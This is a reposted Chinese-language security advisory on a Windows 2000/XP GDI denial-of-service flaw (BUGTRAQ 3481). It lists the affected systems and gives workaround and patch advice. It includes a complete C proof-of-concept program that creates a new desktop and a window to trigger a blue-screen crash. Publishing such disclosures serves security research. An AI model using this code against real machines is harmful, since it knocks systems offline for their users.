Microsoft Windows 2000/XP GDI 拒绝服务漏洞

2008-04-09 04:28:53来源:互联网 阅读 ()

新老客户大回馈,云服务器低至5折

Microsoft Windows 2000/XP GDI 拒绝服务漏洞

发布日期:2001-10-30
更新日期:2001-11-02

受影响系统:

Microsoft Windows 2000 SP2
- Microsoft Windows 2000
Microsoft Windows 2000 SP1
- Microsoft Windows 2000
Microsoft Windows 2000
Microsoft Windows XP
描述:

BUGTRAQ ID: 3481

Windows Graphics Device Interface (GDI)是一套应用程序接口,用于显示图形输
出。但是它存在一个安全问题,可能导致系统拒绝服务。

这是由于GDI无法正确处理畸形或无效的参数和标志位造成的,系统表现为蓝屏,只有
重新启动才能恢复正常功能。

<*来源:PeterB (peter@INKVINE.FLUFF.ORG)
链接:http://www.ntbugtraq.com/default.asp?pid=36&sid=1&A2=ind0110&L=ntbugtraq&F=P&S=&P=8630
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


PeterB (peter@INKVINE.FLUFF.ORG)提供了如下测试代码:

#include <windows.h>

LRESULT CALLBACK WndProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM
lParam)
{
switch(message)
{
case WM_NCCREATE:
{
ShowWindow(hwnd, SW_SHOW);
}
return TRUE;
}
return DefWindowProc(hwnd, message, wParam, lParam);
}


int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR
szCmdLine, int iCmdShow)
{
HWINSTA ws = CreateWindowStation(NULL, 0, WINSTA_CREATEDESKTOP |
GENERIC_ALL, NULL);
SetProcessWindowStation(ws);
HDESK dt = CreateDesktop("TEST", 0, 0, 0, DESKTOP_CREATEWINDOW |
GENERIC_ALL | DESKTOP_CREATEMENU | DESKTOP_SWITCHDESKTOP |
DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS, NULL); // no idea what access I
actually need, I think this is just about everything
SetThreadDesktop(dt);
WNDCLASS wndclass = {0};
wndclass.style = CS_HREDRAW | CS_VREDRAW;
wndclass.lpfnWndProc = WndProc;
wndclass.hInstance = hInstance;
wndclass.hIcon = LoadIcon(NULL, IDI_APPLICATION); // default icon
wndclass.hCursor = LoadCursor(NULL, IDC_ARROW); // default cursor.
One or other (or both?) of these seem to be necessary.
wndclass.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);
wndclass.lpszMenuName = NULL;
wndclass.lpszClassName = TEXT("Crash");
RegisterClass(&wndclass);
HWND hwnd = CreateWindowEx(WS_EX_TOOLWINDOW, TEXT("Crash"),
TEXT("Crash"), WS_POPUP, 300, 300, 300, 445, NULL, NULL, hInstance, NULL);
// NEVER GETS HERE.
ShowWindow(hwnd, iCmdShow);
UpdateWindow(hwnd);
MSG msg;
while(GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return msg.wParam;
}



建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 禁止不可信用户登录您的系统

厂商补丁:

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商
的主页以获取最新版本:
http://www.microsoft.com/

标签:

版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有

上一篇:Manpower Japan 个人信息泄露漏洞

下一篇:SGI IRIX IGMP 组播报文拒绝服务漏洞